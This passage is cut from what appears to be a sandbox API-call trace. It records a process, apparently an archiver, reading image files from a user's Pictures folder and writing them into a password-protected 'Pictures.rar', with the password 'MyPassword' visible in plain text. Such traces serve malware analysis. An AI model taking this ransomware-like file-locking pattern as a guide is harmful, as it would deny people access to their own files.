wMilliseconds=0x23e)) [0063.884] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0063.884] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13922408281) returned 1 [0063.884] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0xbdf8, lpOverlapped=0x0) returned 1 [0063.884] ReadFile (in: hFile=0x1b0, lpBuffer=0x36dbe38, nNumberOfBytesToRead=0xf4208, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36dbe38*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0063.884] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.884] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.884] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c260 [0063.884] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c290 [0063.885] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c290, Size=0x48) returned 0x26fed0 [0063.885] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.885] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c290 [0063.885] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c290, Size=0x48) returned 0x26fe80 [0063.885] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.885] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.885] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c290 [0063.885] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c2c0 [0063.885] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c2c0 | out: hHeap=0x1b0000) returned 1 [0063.885] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c290 | out: hHeap=0x1b0000) returned 1 [0063.885] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c260, Size=0x6f) returned 0x2a0b150 [0063.885] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x2a0b150, Size=0xab) returned 0x3b8f920 [0063.885] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.885] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8f920 | out: hHeap=0x1b0000) returned 1 [0063.885] GetTickCount () returned 0xa664dd [0063.885] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13922559500) returned 1 [0063.885] GetTickCount () returned 0xa664dd [0063.885] GetTickCount () returned 0xa664dd [0063.885] GetTickCount () returned 0xa664dd [0063.885] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.885] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.885] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.886] ResetEvent (hEvent=0x1a4) returned 1 [0063.886] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.888] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.888] ResetEvent (hEvent=0x1a4) returned 1 [0063.888] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.889] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.889] GetTickCount () returned 0xa664dd [0063.889] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13922938749) returned 1 [0063.889] GetTickCount () returned 0xa664dd [0063.889] GetTickCount () returned 0xa664dd [0063.889] GetTickCount () returned 0xa664dd [0063.889] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0063.889] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0063.889] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.889] ResetEvent (hEvent=0x190) returned 1 [0063.889] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.890] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.890] ResetEvent (hEvent=0x190) returned 1 [0063.890] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.890] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.890] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.890] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.890] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x461d3c [0063.890] SetFilePointer (in: hFile=0x198, lDistanceToMove=169, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x461de5 [0063.890] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0063.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.890] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0063.891] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0063.891] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0063.891] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0xbe60, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0xbe60, lpOverlapped=0x0) returned 1 [0063.891] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.891] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.891] SetFilePointer (in: hFile=0x198, lDistanceToMove=4595004, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x461d3c [0063.891] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x461d3c [0063.891] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c260 [0063.891] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c290 [0063.891] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c290, Size=0x48) returned 0x26fe80 [0063.891] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.891] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c290 [0063.892] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c290, Size=0x48) returned 0x26fed0 [0063.892] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.892] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.892] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c290 [0063.892] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c2c0 [0063.892] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c2c0 | out: hHeap=0x1b0000) returned 1 [0063.892] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c290 | out: hHeap=0x1b0000) returned 1 [0063.892] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c260, Size=0x6f) returned 0x2a0b150 [0063.892] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x2a0b150, Size=0xab) returned 0x3b8f920 [0063.892] WriteFile (in: hFile=0x198, lpBuffer=0x3b8f922*, nNumberOfBytesToWrite=0xa9, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x3b8f922*, lpNumberOfBytesWritten=0x167f30*=0xa9, lpOverlapped=0x0) returned 1 [0063.892] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c260 [0063.892] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0xa9) returned 0x3b8fa90 [0063.892] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.892] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8f920 | out: hHeap=0x1b0000) returned 1 [0063.892] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x46dc45 [0063.892] CloseHandle (hObject=0x1b0) returned 1 [0063.892] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.892] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.892] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.892] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.892] FindFirstFileW (in: lpFileName="ULcrruHeMH6lLDqYX5zP\\u_fq38hVgFy.png", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0063.892] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0063.892] CreateFileW (lpFileName="ULcrruHeMH6lLDqYX5zP\\u_fq38hVgFy.png" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\u_fq38hvgfy.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.892] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.892] GetTickCount () returned 0xa664dd [0063.892] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0063.892] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0063.892] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.892] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0063.892] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="PSQZiwIN8uJzzTdjOFX.jpg") returned 23 [0063.892] SetWindowTextW (hWnd=0x1024c, lpString="u_fq38hVgFy.png") returned 1 [0063.893] GetTickCount () returned 0xa664dd [0063.893] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.893] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0063.893] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0063.893] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0063.893] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0x23e)) [0063.893] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0063.893] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13923350467) returned 1 [0063.893] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0x2535, lpOverlapped=0x0) returned 1 [0063.894] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d2575, nNumberOfBytesToRead=0xfdacb, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d2575*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0063.894] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c290 [0063.894] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c2c0 [0063.894] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c2c0, Size=0x48) returned 0x26fed0 [0063.894] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.894] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c2c0 [0063.894] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c2c0, Size=0x48) returned 0x26fe80 [0063.894] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.894] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.894] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c2c0 [0063.894] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c2f0 [0063.894] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c2f0 | out: hHeap=0x1b0000) returned 1 [0063.894] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c2c0 | out: hHeap=0x1b0000) returned 1 [0063.894] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c290, Size=0x48) returned 0x26fed0 [0063.894] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7b) returned 0x203cf0 [0063.894] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.894] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203cf0 | out: hHeap=0x1b0000) returned 1 [0063.895] GetTickCount () returned 0xa664dd [0063.895] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13923507125) returned 1 [0063.895] GetTickCount () returned 0xa664dd [0063.895] GetTickCount () returned 0xa664dd [0063.895] GetTickCount () returned 0xa664dd [0063.895] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.895] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.895] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.895] ResetEvent (hEvent=0x1a4) returned 1 [0063.895] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.896] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.896] ResetEvent (hEvent=0x1a4) returned 1 [0063.896] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.897] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.897] GetTickCount () returned 0xa664ed [0063.897] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13923729003) returned 1 [0063.897] GetTickCount () returned 0xa664ed [0063.897] GetTickCount () returned 0xa664ed [0063.897] GetTickCount () returned 0xa664ed [0063.897] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x16cf28 | out: ppv=0x16cf28*=0x3b8c290) returned 0x0 [0063.897] TaskbarList:ITaskbarList3:SetProgressState (This=0x3b8c290, hwnd=0x10244, tbpFlags=2) returned 0x0 [0063.897] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3b8c290, hwnd=0x10244, ullCompleted=0x488709, ullTotal=0x940593) returned 0x0 [0063.897] TaskbarList:IUnknown:Release (This=0x3b8c290) returned 0x0 [0063.897] GetLastError () returned 0x36b7 [0063.898] SetLastError (dwErrCode=0x36b7) [0063.898] GetDlgItem (hDlg=0x10244, nIDDlgItem=157) returned 0x10266 [0063.898] GetDlgItem (hDlg=0x10244, nIDDlgItem=152) returned 0x10264 [0063.898] GetWindowTextW (in: hWnd=0x10264, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 44%") returned 5 [0063.898] SetWindowTextW (hWnd=0x10264, lpString=" 48%") returned 1 [0063.898] GetLastError () returned 0x0 [0063.898] SetLastError (dwErrCode=0x0) [0063.898] GetDlgItem (hDlg=0x10244, nIDDlgItem=164) returned 0x10260 [0063.898] GetWindowTextW (in: hWnd=0x10260, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 96%") returned 5 [0063.898] SetWindowTextW (hWnd=0x10260, lpString=" 97%") returned 1 [0063.898] SendMessageW (hWnd=0x10266, Msg=0x402, wParam=0x30, lParam=0x0) returned 0x2c [0063.898] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 1 [0063.898] GetMessageW (in: lpMsg=0x16d3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d3d0) returned 1 [0063.898] GetFocus () returned 0x0 [0063.898] TranslateMessage (lpMsg=0x16d3d0) returned 0 [0063.898] DispatchMessageW (lpMsg=0x16d3d0) returned 0x0 [0063.898] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0063.898] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.898] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.898] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.899] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x46dc45 [0063.899] SetFilePointer (in: hFile=0x198, lDistanceToMove=120, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x46dcbd [0063.899] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0063.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.899] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0063.899] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0063.899] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0063.899] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x2560, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0x2560, lpOverlapped=0x0) returned 1 [0063.899] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.899] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.899] SetFilePointer (in: hFile=0x198, lDistanceToMove=4643909, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x46dc45 [0063.899] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x46dc45 [0063.899] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c290 [0063.899] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c2c0 [0063.899] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c2c0, Size=0x48) returned 0x26fe80 [0063.899] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.899] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c2c0 [0063.899] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c2c0, Size=0x48) returned 0x26fed0 [0063.899] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.899] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.899] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c2c0 [0063.899] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c2f0 [0063.899] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c2f0 | out: hHeap=0x1b0000) returned 1 [0063.899] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c2c0 | out: hHeap=0x1b0000) returned 1 [0063.899] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c290, Size=0x48) returned 0x26fe80 [0063.899] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x7b) returned 0x203cf0 [0063.899] WriteFile (in: hFile=0x198, lpBuffer=0x203cf3*, nNumberOfBytesToWrite=0x78, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203cf3*, lpNumberOfBytesWritten=0x167f30*=0x78, lpOverlapped=0x0) returned 1 [0063.899] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c290 [0063.899] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x78) returned 0x2a0b150 [0063.900] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.900] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203cf0 | out: hHeap=0x1b0000) returned 1 [0063.900] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x47021d [0063.900] CloseHandle (hObject=0x1b0) returned 1 [0063.900] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.900] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.900] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.900] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.900] FindFirstFileW (in: lpFileName="ULcrruHeMH6lLDqYX5zP\\zTrGUpS5uq YgUIf.png", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0063.900] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0063.900] CreateFileW (lpFileName="ULcrruHeMH6lLDqYX5zP\\zTrGUpS5uq YgUIf.png" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\ztrgups5uq yguif.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.900] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.900] GetTickCount () returned 0xa664ed [0063.900] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0063.900] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0063.900] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.900] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0063.900] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="u_fq38hVgFy.png") returned 15 [0063.900] SetWindowTextW (hWnd=0x1024c, lpString="zTrGUpS5uq YgUIf.png") returned 1 [0063.900] GetTickCount () returned 0xa664ed [0063.900] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.900] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, 